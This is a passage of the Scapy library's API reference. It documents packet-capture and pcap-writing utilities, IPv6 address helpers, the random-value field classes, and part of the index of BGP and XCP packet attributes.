scapy.utils.sane(x: AnyStr, color: bool = False) → str[source] [https://github.com/secdev/scapy/blob/master/scapy/utils.py#L269-L281]

	




	
scapy.utils.save_object(fname: str, obj: Any) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/utils.py#L1156-L1162]

	Pickle a Python object






	
scapy.utils.str2mac(s: bytes) → str[source] [https://github.com/secdev/scapy/blob/master/scapy/utils.py#L682-L686]

	




	
scapy.utils.strand(s1: bytes, s2: bytes) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/utils.py#L716-L722]

	Returns the binary AND of the 2 provided strings s1 and s2. s1 and s2
must be of same length.






	
scapy.utils.strrot(s1: bytes, count: int, right: bool = True) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/utils.py#L725-L734]

	Rotate the binary by ‘count’ bytes






	
scapy.utils.strxor(s1: bytes, s2: bytes) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/utils.py#L707-L713]

	Returns the binary XOR of the 2 provided strings s1 and s2. s1 and s2
must be of same length.






	
scapy.utils.tcpdump(pktlist: IO[bytes] | None | str | _PacketIterable = None, dump: bool = False, getfd: bool = False, args: List[str] | None = None, flt: str | None = None, prog: Any | None = None, getproc: bool = False, quiet: bool = False, use_tempfile: Any | None = None, read_stdin_opts: Any | None = None, linktype: Any | None = None, wait: bool = True, _suppress: bool = False) → Any[source] [https://github.com/secdev/scapy/blob/master/scapy/utils.py#L2695-L2964]

	Run tcpdump or tshark on a list of packets.

When using tcpdump on OSX (prog == conf.prog.tcpdump), this uses a
temporary file to store the packets. This works around a bug in Apple’s
version of tcpdump: http://apple.stackexchange.com/questions/152682/

Otherwise, the packets are passed in stdin.

This function can be explicitly enabled or disabled with the
use_tempfile parameter.

When using wireshark, it will be called with -ki - to start
immediately capturing packets from stdin.

Otherwise, the command will be run with -r - (which is correct for
tcpdump and tshark).

This can be overridden with read_stdin_opts. This has no effect when
use_tempfile=True, or otherwise reading packets from a regular file.


	Parameters:

	
	pktlist – a Packet instance, a PacketList instance or a list of
Packet instances. Can also be a filename (as a string), an open
file-like object that must be a file format readable by
tshark (Pcap, PcapNg, etc.) or None (to sniff)


	flt – a filter to use with tcpdump


	dump – when set to True, returns a string instead of displaying it.


	getfd – when set to True, returns a file-like object to read data
from tcpdump or tshark from.


	getproc – when set to True, the subprocess.Popen object is returned


	args – arguments (as a list) to pass to tshark (example for tshark:
args=[“-T”, “json”]).


	prog – program to use (defaults to tcpdump, will work with tshark)


	quiet – when set to True, the process stderr is discarded


	use_tempfile – When set to True, always use a temporary file to store
packets.
When set to False, pipe packets through stdin.
When set to None (default), only use a temporary file with
tcpdump on OSX.


	read_stdin_opts – When set, a list of arguments needed to capture
from stdin. Otherwise, attempts to guess.


	linktype – A custom DLT value or name, to overwrite the default
values.


	wait – If True (default), waits for the process to terminate before
returning to Scapy. If False, the process will be detached to the
background. If dump, getproc or getfd is True, these have the same
effect as wait=False.








Examples:

>>> tcpdump([IP()/TCP(), IP()/UDP()])
reading from file -, link-type RAW (Raw IP)
16:46:00.474515 IP 127.0.0.1.20 > 127.0.0.1.80: Flags [S], seq 0, win 8192, length 0  # noqa: E501
16:46:00.475019 IP 127.0.0.1.53 > 127.0.0.1.53: [|domain]

>>> tcpdump([IP()/TCP(), IP()/UDP()], prog=conf.prog.tshark)
  1   0.000000    127.0.0.1 -> 127.0.0.1    TCP 40 20->80 [SYN] Seq=0 Win=8192 Len=0  # noqa: E501
  2   0.000459    127.0.0.1 -> 127.0.0.1    UDP 28 53->53 Len=0





To get a JSON representation of a tshark-parsed PacketList(), one can:

>>> import json, pprint
>>> json_data = json.load(tcpdump(IP(src="217.25.178.5",
...                                  dst="45.33.32.156"),
...                               prog=conf.prog.tshark,
...                               args=["-T", "json"],
...                               getfd=True))
>>> pprint.pprint(json_data)
[{u'_index': u'packets-2016-12-23',
  u'_score': None,
  u'_source': {u'layers': {u'frame': {u'frame.cap_len': u'20',
                                      u'frame.encap_type': u'7',
[...]
                                      },
                           u'ip': {u'ip.addr': u'45.33.32.156',
                                   u'ip.checksum': u'0x0000a20d',
[...]
                                   u'ip.ttl': u'64',
                                   u'ip.version': u'4'},
                           u'raw': u'Raw packet data'}},
  u'_type': u'pcap_file'}]
>>> json_data[0]['_source']['layers']['ip']['ip.ttl']
u'64'










	
scapy.utils.tdecode(pktlist: IO[bytes] | None | str | _PacketIterable, args: List[str] | None = None, **kwargs: Any) → Any[source] [https://github.com/secdev/scapy/blob/master/scapy/utils.py#L2658-L2674]

	Run tshark on a list of packets.


	Parameters:

	args – If not specified, defaults to tshark -V.





See tcpdump() for more parameters.






	
scapy.utils.tex_escape(x: str) → str[source] [https://github.com/secdev/scapy/blob/master/scapy/utils.py#L1021-L1026]

	




	
scapy.utils.valid_ip(addr: str) → bool[source] [https://github.com/secdev/scapy/blob/master/scapy/utils.py#L762-L772]

	




	
scapy.utils.valid_ip6(addr: str) → bool[source] [https://github.com/secdev/scapy/blob/master/scapy/utils.py#L787-L797]

	




	
scapy.utils.valid_mac(mac: str) → bool[source] [https://github.com/secdev/scapy/blob/master/scapy/utils.py#L673-L679]

	




	
scapy.utils.valid_net(addr: str) → bool[source] [https://github.com/secdev/scapy/blob/master/scapy/utils.py#L775-L784]

	




	
scapy.utils.valid_net6(addr: str) → bool[source] [https://github.com/secdev/scapy/blob/master/scapy/utils.py#L800-L809]

	




	
scapy.utils.whois(ip_address: str) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/utils.py#L3243-L3270]

	Whois client for Python






	
scapy.utils.wireshark(pktlist: List[Packet], wait: bool = False, **kwargs: Any) → Any | None[source] [https://github.com/secdev/scapy/blob/master/scapy/utils.py#L2645-L2655]

	Runs Wireshark on a list of packets.

See tcpdump() for more parameter description.

Note: this defaults to wait=False, to run Wireshark in the background.






	
scapy.utils.wrerf(filename: IO[bytes] | str, pkt: _PacketIterable, *args: Any, **kargs: Any) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/utils.py#L2524-L2544]

	Write a list of packets to a ERF file


	Parameters:

	
	filename – the name of the file to write packets to, or an open,
writable file-like object. The file descriptor will be
closed at the end of the call, so do not use an object you
do not want to close (e.g., running wrerf(sys.stdout, [])
in interactive mode will crash Scapy).


	gz – set to 1 to save a gzipped capture


	append – append packets to the capture file instead of
truncating it


	sync – do not bufferize writes to the capture file













	
scapy.utils.wrpcap(filename: IO[bytes] | str, pkt: _PacketIterable, *args: Any, **kargs: Any) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/utils.py#L1207-L1227]

	Write a list of packets to a pcap file


	Parameters:

	
	filename – the name of the file to write packets to, or an open,
writable file-like object. The file descriptor will be
closed at the end of the call, so do not use an object you
do not want to close (e.g., running wrpcap(sys.stdout, [])
in interactive mode will crash Scapy).


	gz – set to 1 to save a gzipped capture


	linktype – force linktype value


	endianness – “<” or “>”, force endianness


	sync – do not bufferize writes to the capture file













	
scapy.utils.wrpcapng(filename: str, pkt: _PacketIterable) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/utils.py#L1230-L1245]

	Write a list of packets to a pcapng file


	Parameters:

	
	filename – the name of the file to write packets to, or an open,
writable file-like object. The file descriptor will be
closed at the end of the call, so do not use an object you
do not want to close (e.g., running wrpcapng(sys.stdout, [])
in interactive mode will crash Scapy).


	pkt – packets to write













	
scapy.utils.zerofree_randstring(length: int) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/utils.py#L698-L704]

	Returns a random string of length (length >= 0) without zero in it.








            

          

      

      

    

  

    
      
          
            
  
scapy.utils6

Utility functions for IPv6.


	
class scapy.utils6.Net6(net: str, stop: None | str = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/utils6.py#L906-L926]

	Bases: Net

Network object from an IP address or hostname and mask


	
family: int = 10

	




	
static int2ip(val: int) → str[source] [https://github.com/secdev/scapy/blob/master/scapy/utils6.py#L920-L926]

	




	
classmethod ip2int(addr: str) → int[source] [https://github.com/secdev/scapy/blob/master/scapy/utils6.py#L912-L918]

	




	
max_mask: int = 128

	




	
name: str = 'Net6'

	








	
scapy.utils6.construct_source_candidate_set(addr: str, plen: int, laddr: Iterator[Tuple[str, int, str]]) → List[str][source] [https://github.com/secdev/scapy/blob/master/scapy/utils6.py#L37-L91]

	Given all addresses assigned to a specific interface (‘laddr’ parameter),
this function returns the “candidate set” associated with ‘addr/plen’.

Basically, the function filters all interface addresses to keep only those
that have the same scope as provided prefix.

This is on this list of addresses that the source selection mechanism
will then be performed to select the best source address associated
with some specific destination that uses this prefix.






	
scapy.utils6.get_source_addr_from_candidate_set(dst: str, candidate_set: List[str]) → str[source] [https://github.com/secdev/scapy/blob/master/scapy/utils6.py#L94-L176]

	This function implement a limited version of source address selection
algorithm defined in section 5 of RFC 3484. The format is very different
from that described in the document because it operates on a set
of candidate source address for some specific route.






	
scapy.utils6.in6_6to4ExtractAddr(addr: str) → str | None[source] [https://github.com/secdev/scapy/blob/master/scapy/utils6.py#L384-L396]

	Extract IPv4 address embedded in 6to4 address. Passed address must be
a 6to4 address. None is returned on error.






	
scapy.utils6.in6_addrtomac(addr: str) → str | None[source] [https://github.com/secdev/scapy/blob/master/scapy/utils6.py#L266-L275]

	Extract the mac address from provided address. None is returned
on error.






	
scapy.utils6.in6_addrtovendor(addr: str) → str | None[source] [https://github.com/secdev/scapy/blob/master/scapy/utils6.py#L278-L296]

	Extract the MAC address from a modified EUI-64 constructed IPv6
address provided and use the IANA oui.txt file to get the vendor.
The database used for the conversion is the one loaded by Scapy
from a Wireshark installation if discovered in a well-known
location. None is returned on error, “UNKNOWN” if the vendor is
unknown.






	
scapy.utils6.in6_and(a1: bytes, a2: bytes) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/utils6.py#L614-L621]

	Provides a bit to bit AND of provided addresses. They must be
passed in network format. Return value is also an IPv6 address
in network format.






	
scapy.utils6.in6_cidr2mask(m: int) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/utils6.py#L634-L650]

	Return the mask (bitstring) associated with provided length
value. For instance if function is called on 48, return value is
b’ÿÿÿÿÿÿ'.






	
scapy.utils6.in6_ctop(addr: str) → str | None[source] [https://github.com/secdev/scapy/blob/master/scapy/utils6.py#L472-L491]

	Convert an IPv6 address in Compact Representation Notation
(RFC 1924) to printable representation ;-)
Returns None on error.






	
scapy.utils6.in6_get6to4Prefix(addr: str) → str | None[source] [https://github.com/secdev/scapy/blob/master/scapy/utils6.py#L370-L381]

	Returns the /48 6to4 prefix associated with provided IPv4 address
On error, None is returned. No check is performed on public/private
status of the address






	
scapy.utils6.in6_getAddrType(addr: str) → int[source] [https://github.com/secdev/scapy/blob/master/scapy/utils6.py#L182-L212]

	




	
scapy.utils6.in6_getLinkScopedMcastAddr(addr: str, grpid: bytes | str | int | None = None, scope: int = 2) → str | None[source] [https://github.com/secdev/scapy/blob/master/scapy/utils6.py#L299-L367]

	Generate a Link-Scoped Multicast Address as described in RFC 4489.
Returned value is in printable notation.

‘addr’ parameter specifies the link-local address to use for generating
Link-scoped multicast address IID.

By default, the function returns a ::/96 prefix (aka last 32 bits of
returned address are null). If a group id is provided through ‘grpid’
parameter, last 32 bits of the address are set to that value (accepted
formats : b’
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Fields that hold random numbers.


	
class scapy.volatile.AutoTime(base: int | None = None, diff: float | None = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/volatile.py#L1320-L1323]

	Bases: _AutoTime[float]






	
class scapy.volatile.CorruptedBits(s: str, p: float = 0.01, n: Any | None = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/volatile.py#L1420-L1423]

	Bases: CorruptedBytes






	
class scapy.volatile.CorruptedBytes(s: str, p: float = 0.01, n: Any | None = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/volatile.py#L1398-L1417]

	Bases: VolatileValue[bytes]






	
class scapy.volatile.DelayedEval(expr: str)[source] [https://github.com/secdev/scapy/blob/master/scapy/volatile.py#L1354-L1367]

	Bases: VolatileValue[Any]

Example of usage: DelayedEval(“time.time()”)






	
class scapy.volatile.GeneralizedTime(diff: int = 0)[source] [https://github.com/secdev/scapy/blob/master/scapy/volatile.py#L1343-L1351]

	Bases: _AutoTime[str]






	
class scapy.volatile.IncrementalValue(start: int = 0, step: int = 1, restart: int = -1)[source] [https://github.com/secdev/scapy/blob/master/scapy/volatile.py#L1370-L1395]

	Bases: VolatileValue[int]






	
class scapy.volatile.IntAutoTime(base: int | None = None, diff: float | None = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/volatile.py#L1326-L1329]

	Bases: _AutoTime[int]






	
class scapy.volatile.RandBin(size: int | RandNum | None = None, chars: bytes = b'\x00\x01\x02\x03\x04\x05\x06\x07\x08\t\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !"#$%&\'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff')[source] [https://github.com/secdev/scapy/blob/master/scapy/volatile.py#L546-L572]

	Bases: _RandString[bytes]






	
class scapy.volatile.RandBinFloat(min: int, max: int)[source] [https://github.com/secdev/scapy/blob/master/scapy/volatile.py#L286-L292]

	Bases: RandFloat






	
class scapy.volatile.RandByte[source] [https://github.com/secdev/scapy/blob/master/scapy/volatile.py#L364-L367]

	Bases: RandNum






	
class scapy.volatile.RandChoice(*args: Any)[source] [https://github.com/secdev/scapy/blob/master/scapy/volatile.py#L481-L494]

	Bases: RandField[Any]






	
class scapy.volatile.RandEnum(min: int, max: int, seed: int | None = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/volatile.py#L343-L361]

	Bases: RandNum

Instances evaluate to integer sampling without replacement from the given interval






	
class scapy.volatile.RandEnumByte[source] [https://github.com/secdev/scapy/blob/master/scapy/volatile.py#L412-L415]

	Bases: RandEnum






	
class scapy.volatile.RandEnumInt[source] [https://github.com/secdev/scapy/blob/master/scapy/volatile.py#L436-L439]

	Bases: RandEnum






	
class scapy.volatile.RandEnumKeys(enum: Dict[Any, Any], seed: int | None = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/volatile.py#L460-L478]

	Bases: RandEnum

Picks a random value from dict keys list.






	
class scapy.volatile.RandEnumLong[source] [https://github.com/secdev/scapy/blob/master/scapy/volatile.py#L448-L451]

	Bases: RandEnum






	
class scapy.volatile.RandEnumSByte[source] [https://github.com/secdev/scapy/blob/master/scapy/volatile.py#L418-L421]

	Bases: RandEnum






	
class scapy.volatile.RandEnumSInt[source] [https://github.com/secdev/scapy/blob/master/scapy/volatile.py#L442-L445]

	Bases: RandEnum






	
class scapy.volatile.RandEnumSLong[source] [https://github.com/secdev/scapy/blob/master/scapy/volatile.py#L454-L457]

	Bases: RandEnum






	
class scapy.volatile.RandEnumSShort[source] [https://github.com/secdev/scapy/blob/master/scapy/volatile.py#L430-L433]

	Bases: RandEnum






	
class scapy.volatile.RandEnumShort[source] [https://github.com/secdev/scapy/blob/master/scapy/volatile.py#L424-L427]

	Bases: RandEnum






	
class scapy.volatile.RandField[source] [https://github.com/secdev/scapy/blob/master/scapy/volatile.py#L161-L162]

	Bases: VolatileValue[_T], Generic[_T]






	
class scapy.volatile.RandFloat(min: int, max: int)[source] [https://github.com/secdev/scapy/blob/master/scapy/volatile.py#L275-L283]

	Bases: _RandNumeral[float]






	
class scapy.volatile.RandIP(iptemplate: str = '0.0.0.0/0')[source] [https://github.com/secdev/scapy/blob/master/scapy/volatile.py#L591-L608]

	Bases: _RandString[str]






	
class scapy.volatile.RandIP6(ip6template: str = '**')[source] [https://github.com/secdev/scapy/blob/master/scapy/volatile.py#L641-L701]

	Bases: _RandString[str]






	
class scapy.volatile.RandInt[source] [https://github.com/secdev/scapy/blob/master/scapy/volatile.py#L388-L391]

	Bases: RandNum






	
class scapy.volatile.RandLong[source] [https://github.com/secdev/scapy/blob/master/scapy/volatile.py#L400-L403]

	Bases: RandNum






	
class scapy.volatile.RandMAC(_template: str = '*')[source] [https://github.com/secdev/scapy/blob/master/scapy/volatile.py#L611-L638]

	Bases: _RandString[str]






	
class scapy.volatile.RandNum(min: int, max: int)[source] [https://github.com/secdev/scapy/blob/master/scapy/volatile.py#L230-L272]

	Bases: _RandNumeral[int]

Instances evaluate to random integers in selected range


	
max = 0

	




	
min = 0

	








	
class scapy.volatile.RandNumExpo(lambd: float, base: int = 0)[source] [https://github.com/secdev/scapy/blob/master/scapy/volatile.py#L325-L340]

	Bases: RandNum






	
class scapy.volatile.RandNumGamma(alpha: int, beta: int)[source] [https://github.com/secdev/scapy/blob/master/scapy/volatile.py#L295-L307]

	Bases: RandNum






	
class scapy.volatile.RandNumGauss(mu: int, sigma: int)[source] [https://github.com/secdev/scapy/blob/master/scapy/volatile.py#L310-L322]

	Bases: RandNum






	
class scapy.volatile.RandOID(fmt: str | None = None, depth: ~scapy.volatile.RandNumExpo = <RandNumExpo>, idnum: ~scapy.volatile.RandNumExpo = <RandNumExpo>)[source] [https://github.com/secdev/scapy/blob/master/scapy/volatile.py#L704-L760]

	Bases: _RandString[str]






	
class scapy.volatile.RandPool(*args: Tuple[VolatileValue[Any], int])[source] [https://github.com/secdev/scapy/blob/master/scapy/volatile.py#L1109-L1135]

	Bases: RandField[VolatileValue[Any]]






	
class scapy.volatile.RandRegExp(regexp: str, lambda_: float = 0.3)[source] [https://github.com/secdev/scapy/blob/master/scapy/volatile.py#L763-L946]

	Bases: RandField[str]


	
static choice_expand(s: str) → str[source] [https://github.com/secdev/scapy/blob/master/scapy/volatile.py#L793-L816]

	




	
special_sets = {'[:alnum:]': '[a-zA-Z0-9]', '[:alpha:]': '[a-zA-Z]', '[:ascii:]': '[\x00-\x7f]', '[:blank:]': '[ \t]', '[:cntrl:]': '[\x00-\x1f\x7f]', '[:digit:]': '[0-9]', '[:graph:]': '[!-~]', '[:lower:]': '[a-z]', '[:print:]': '[ -~]', '[:punct:]': '[!"\\#$%&\'()*+,\\-./:;<=>?@\\[\\\\\\]^_{|}~]', '[:space:]': '[ \t\r\n\x0b\x0c]', '[:upper:]': '[A-Z]', '[:word:]': '[A-Za-z0-9_]', '[:xdigit:]': '[A-Fa-f0-9]'}

	




	
static stack_fix(lst: List[Any], index: List[Any]) → str[source] [https://github.com/secdev/scapy/blob/master/scapy/volatile.py#L818-L855]

	








	
class scapy.volatile.RandSByte[source] [https://github.com/secdev/scapy/blob/master/scapy/volatile.py#L370-L373]

	Bases: RandNum






	
class scapy.volatile.RandSInt[source] [https://github.com/secdev/scapy/blob/master/scapy/volatile.py#L394-L397]

	Bases: RandNum






	
class scapy.volatile.RandSLong[source] [https://github.com/secdev/scapy/blob/master/scapy/volatile.py#L406-L409]

	Bases: RandNum






	
class scapy.volatile.RandSShort[source] [https://github.com/secdev/scapy/blob/master/scapy/volatile.py#L382-L385]

	Bases: RandNum






	
class scapy.volatile.RandShort[source] [https://github.com/secdev/scapy/blob/master/scapy/volatile.py#L376-L379]

	Bases: RandNum






	
class scapy.volatile.RandSingByte[source] [https://github.com/secdev/scapy/blob/master/scapy/volatile.py#L989-L992]

	Bases: RandSingNum






	
class scapy.volatile.RandSingInt[source] [https://github.com/secdev/scapy/blob/master/scapy/volatile.py#L1013-L1016]

	Bases: RandSingNum






	
class scapy.volatile.RandSingLong[source] [https://github.com/secdev/scapy/blob/master/scapy/volatile.py#L1025-L1028]

	Bases: RandSingNum






	
class scapy.volatile.RandSingNum(mn: int, mx: int)[source] [https://github.com/secdev/scapy/blob/master/scapy/volatile.py#L953-L986]

	Bases: RandSingularity


	
static make_power_of_two(end: int) → Set[int][source] [https://github.com/secdev/scapy/blob/master/scapy/volatile.py#L954-L964]

	








	
class scapy.volatile.RandSingSByte[source] [https://github.com/secdev/scapy/blob/master/scapy/volatile.py#L995-L998]

	Bases: RandSingNum






	
class scapy.volatile.RandSingSInt[source] [https://github.com/secdev/scapy/blob/master/scapy/volatile.py#L1019-L1022]

	Bases: RandSingNum






	
class scapy.volatile.RandSingSLong[source] [https://github.com/secdev/scapy/blob/master/scapy/volatile.py#L1031-L1034]

	Bases: RandSingNum






	
class scapy.volatile.RandSingSShort[source] [https://github.com/secdev/scapy/blob/master/scapy/volatile.py#L1007-L1010]

	Bases: RandSingNum






	
class scapy.volatile.RandSingShort[source] [https://github.com/secdev/scapy/blob/master/scapy/volatile.py#L1001-L1004]

	Bases: RandSingNum






	
class scapy.volatile.RandSingString[source] [https://github.com/secdev/scapy/blob/master/scapy/volatile.py#L1037-L1106]

	Bases: RandSingularity






	
class scapy.volatile.RandSingularity(*args: Any)[source] [https://github.com/secdev/scapy/blob/master/scapy/volatile.py#L949-L950]

	Bases: RandChoice






	
class scapy.volatile.RandString(size: int | RandNum | None = None, chars: str = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789')[source] [https://github.com/secdev/scapy/blob/master/scapy/volatile.py#L514-L543]

	Bases: _RandString[str]






	
class scapy.volatile.RandTermString(size: int | RandNum, term: bytes)[source] [https://github.com/secdev/scapy/blob/master/scapy/volatile.py#L575-L588]

	Bases: RandBin






	
class scapy.volatile.RandUUID(template: Any | None = None, node: int | None = None, clock_seq: int | None = None, namespace: UUID | None = None, name: str | None = None, version: Any | None = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/volatile.py#L1138-L1290]

	Bases: RandField[UUID]

Generates a random UUID.

By default, this generates a RFC 4122 version 4 UUID (totally random).

See Python’s uuid module documentation for more information.


	Parameters:

	
	template (optional) – A template to build the UUID from. Not valid with
any other option.


	node (optional) – A 48-bit Host ID. Only valid for version 1 (where it
is optional).


	clock_seq (optional) – An integer of up to 14-bits for the sequence
number. Only valid for version 1 (where it is
optional).


	namespace – A namespace identifier, which is also a UUID. Required for
versions 3 and 5, must be omitted otherwise.


	name – string, required for versions 3 and 5, must be omitted otherwise.


	version – Version of UUID to use (1, 3, 4 or 5). If omitted, attempts to
guess which version to generate, defaulting to version 4
(totally random).






	Raises:

	ValueError – on invalid constructor arguments






	
VERSIONS = [1, 3, 4, 5]

	








	
class scapy.volatile.RandomEnumeration(inf: int, sup: int, seed: int | None = None, forever: int = 1, renewkeys: int = 0)[source] [https://github.com/secdev/scapy/blob/master/scapy/volatile.py#L43-L96]

	Bases: object

iterate through a sequence in random order.
When all the values have been drawn, if forever=1, the drawing is done again.  # noqa: E501
If renewkeys=0, the draw will be in the same order, guaranteeing that the same  # noqa: E501
number will be drawn in not less than the number of integers of the sequence


	
next() → int[source] [https://github.com/secdev/scapy/blob/master/scapy/volatile.py#L74-L95]

	








	
class scapy.volatile.VolatileValue[source] [https://github.com/secdev/scapy/blob/master/scapy/volatile.py#L102-L158]

	Bases: Generic[_T]


	
command(json: bool = False) → Dict[str, str] | str[source] [https://github.com/secdev/scapy/blob/master/scapy/volatile.py#L111-L116]

	




	
copy() → Any[source] [https://github.com/secdev/scapy/blob/master/scapy/volatile.py#L152-L154]

	








	
class scapy.volatile.ZuluTime(diff: int = 0)[source] [https://github.com/secdev/scapy/blob/master/scapy/volatile.py#L1332-L1340]

	Bases: _AutoTime[str]
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      	AlarmItem (class in scapy.contrib.pnio_rpc)


      	AlarmNotification_High (class in scapy.contrib.pnio_rpc)
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        	(scapy.contrib.automotive.xcp.cto_commands_slave.SegmentInfoMode1PositiveResponse attribute)


        	(scapy.contrib.automotive.xcp.cto_commands_slave.SegmentInfoMode2PositiveResponse attribute)


        	(scapy.contrib.automotive.xcp.cto_commands_slave.SegmentModePositiveResponse attribute)


        	(scapy.contrib.automotive.xcp.cto_commands_slave.ServPacket attribute)


        	(scapy.contrib.automotive.xcp.cto_commands_slave.ShortUploadPositiveResponse attribute)


        	(scapy.contrib.automotive.xcp.cto_commands_slave.StartStopDAQListPositiveResponse attribute)


        	(scapy.contrib.automotive.xcp.cto_commands_slave.StatusPositiveResponse attribute)


        	(scapy.contrib.automotive.xcp.cto_commands_slave.TransportLayerCmdGetDAQIdResponse attribute)


        	(scapy.contrib.automotive.xcp.cto_commands_slave.TransportLayerCmdGetSlaveIdResponse attribute)


        	(scapy.contrib.automotive.xcp.cto_commands_slave.UnlockPositiveResponse attribute)


        	(scapy.contrib.automotive.xcp.cto_commands_slave.UploadPositiveResponse attribute)


        	(scapy.contrib.automotive.xcp.xcp.CTORequest attribute)


        	(scapy.contrib.automotive.xcp.xcp.CTOResponse attribute)


        	(scapy.contrib.automotive.xcp.xcp.DTO attribute)


        	(scapy.contrib.automotive.xcp.xcp.XCPOnCAN attribute)


        	(scapy.contrib.automotive.xcp.xcp.XCPOnCANTail attribute)


        	(scapy.contrib.automotive.xcp.xcp.XCPOnTCP attribute)


        	(scapy.contrib.automotive.xcp.xcp.XCPOnUDP attribute)


        	(scapy.contrib.avs.AVSWLANHeader attribute)


        	(scapy.contrib.bfd.BFD attribute)


        	(scapy.contrib.bfd.OptionalAuth attribute)


        	(scapy.contrib.bgp.BGP attribute)


        	(scapy.contrib.bgp.BGPAuthenticationInformation attribute)


        	(scapy.contrib.bgp.BGPCapability attribute)


        	(scapy.contrib.bgp.BGPCapFourBytesASN attribute)


        	(scapy.contrib.bgp.BGPCapGeneric attribute)


        	(scapy.contrib.bgp.BGPCapGracefulRestart attribute)


        	(scapy.contrib.bgp.BGPCapGracefulRestart.GRTuple attribute)


        	(scapy.contrib.bgp.BGPCapMultiprotocol attribute)


        	(scapy.contrib.bgp.BGPCapORF attribute)


        	(scapy.contrib.bgp.BGPCapORFBlock attribute)


        	(scapy.contrib.bgp.BGPCapORFBlock.ORFTuple attribute)


        	(scapy.contrib.bgp.BGPHeader attribute)


        	(scapy.contrib.bgp.BGPKeepAlive attribute)


        	(scapy.contrib.bgp.BGPLargeCommunitySegment attribute)


        	(scapy.contrib.bgp.BGPNLRI_IPv4 attribute)


        	(scapy.contrib.bgp.BGPNLRI_IPv4_AP attribute)


        	(scapy.contrib.bgp.BGPNLRI_IPv6 attribute)


        	(scapy.contrib.bgp.BGPNLRI_IPv6_AP attribute)


        	(scapy.contrib.bgp.BGPNotification attribute)


        	(scapy.contrib.bgp.BGPOpen attribute)


        	(scapy.contrib.bgp.BGPOptParam attribute)


        	(scapy.contrib.bgp.BGPORF attribute)


        	(scapy.contrib.bgp.BGPORFAddressPrefix attribute)


        	(scapy.contrib.bgp.BGPORFCoveringPrefix attribute)


        	(scapy.contrib.bgp.BGPORFEntry attribute)


        	(scapy.contrib.bgp.BGPPAAggregator attribute)


        	(scapy.contrib.bgp.BGPPAAS4Aggregator attribute)


        	(scapy.contrib.bgp.BGPPAAS4BytesPath attribute)


        	(scapy.contrib.bgp.BGPPAAS4BytesPath.ASPathSegment attribute)


        	(scapy.contrib.bgp.BGPPAAS4Path attribute)


        	(scapy.contrib.bgp.BGPPAASPath attribute)


        	(scapy.contrib.bgp.BGPPAASPath.ASPathSegment attribute)


        	(scapy.contrib.bgp.BGPPAAtomicAggregate attribute)


        	(scapy.contrib.bgp.BGPPAClusterList attribute)


        	(scapy.contrib.bgp.BGPPACommunity attribute)


        	(scapy.contrib.bgp.BGPPAExtCommFourOctetASSpecific attribute)


        	(scapy.contrib.bgp.BGPPAExtCommIPv4AddressSpecific attribute)


        	(scapy.contrib.bgp.BGPPAExtCommOpaque attribute)


        	(scapy.contrib.bgp.BGPPAExtCommRedirectAS2Byte attribute)


        	(scapy.contrib.bgp.BGPPAExtCommRedirectAS4Byte attribute)


        	(scapy.contrib.bgp.BGPPAExtCommRedirectIPv4 attribute)


        	(scapy.contrib.bgp.BGPPAExtComms attribute)


        	(scapy.contrib.bgp.BGPPAExtCommTrafficAction attribute)


        	(scapy.contrib.bgp.BGPPAExtCommTrafficMarking attribute)


        	(scapy.contrib.bgp.BGPPAExtCommTrafficRate attribute)


        	(scapy.contrib.bgp.BGPPAExtCommTwoOctetASSpecific attribute)


        	(scapy.contrib.bgp.BGPPAExtCommunity attribute)


        	(scapy.contrib.bgp.BGPPAIPv6AddressSpecificExtComm attribute)


        	(scapy.contrib.bgp.BGPPALargeCommunity attribute)


        	(scapy.contrib.bgp.BGPPALocalPref attribute)


        	(scapy.contrib.bgp.BGPPAMPReachNLRI attribute)


        	(scapy.contrib.bgp.BGPPAMPUnreachNLRI attribute)


        	(scapy.contrib.bgp.BGPPAMPUnreachNLRI_IPv6 attribute)


        	(scapy.contrib.bgp.BGPPAMultiExitDisc attribute)


        	(scapy.contrib.bgp.BGPPANextHop attribute)


        	(scapy.contrib.bgp.BGPPAOrigin attribute)


        	(scapy.contrib.bgp.BGPPAOriginatorID attribute)


        	(scapy.contrib.bgp.BGPPathAttr attribute)


        	(scapy.contrib.bgp.BGPRouteRefresh attribute)


        	(scapy.contrib.bgp.BGPUpdate attribute)


        	(scapy.contrib.bier.BIER attribute)


